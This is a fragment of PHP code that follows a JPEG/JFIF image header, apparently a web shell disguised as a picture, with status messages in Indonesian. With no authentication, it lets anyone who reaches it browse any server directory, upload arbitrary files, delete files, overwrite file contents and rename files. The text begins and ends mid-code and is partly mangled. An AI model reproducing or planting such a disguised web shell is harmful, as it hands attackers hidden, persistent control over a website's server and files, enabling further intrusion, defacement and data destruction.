JFIF H H II* " . htmlspecialchars($part) . ""; } return implode(DIRECTORY_SEPARATOR, $breadcrumb); } $directory = isset($_GET['dir']) ? $_GET['dir'] : "."; $directory = @realpath($directory); if (!$directory || !is_dir($directory)) { die("Direktori tidak valid."); } $message = ""; if (isset($_POST['upload'])) { if ($_FILES['file']['error'] === UPLOAD_ERR_NO_FILE) { $message = "Tidak ada file yang dipilih."; } else { $targetFile = $directory . "/" . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { $message = "File berhasil diupload."; } else { $message = "Gagal mengupload file."; } } } if (isset($_GET['delete'])) { $target = $directory . "/" . basename($_GET['delete']); if (is_file($target)) { if (unlink($target)) { $message = "File berhasil dihapus."; } else { $message = "Gagal menghapus file."; } } else { $message = "Objek tidak valid untuk dihapus."; } } if (isset($_POST['edit'])) { $fileToEdit = $directory . "/" . basename($_POST['file_name']); if (is_file($fileToEdit)) { if (file_put_contents($fileToEdit, $_POST['file_content']) !== false) { $message = "File berhasil diedit."; } else { $message = "Gagal menyimpan perubahan file."; } } else { $message = "File tidak ditemukan."; } } if (isset($_POST['rename'])) { $oldName = $directory . "/" . basename($_POST['old_name']); $newName = $directory . "/" . basename($_POST['new_name']); if (rename($oldName, $newName)) { $message = "Nama berhasil diubah."; } else { $message = "Gagal mengganti nama."; } } echo "
" . htmlspecialchars($message) . "
"; } echo "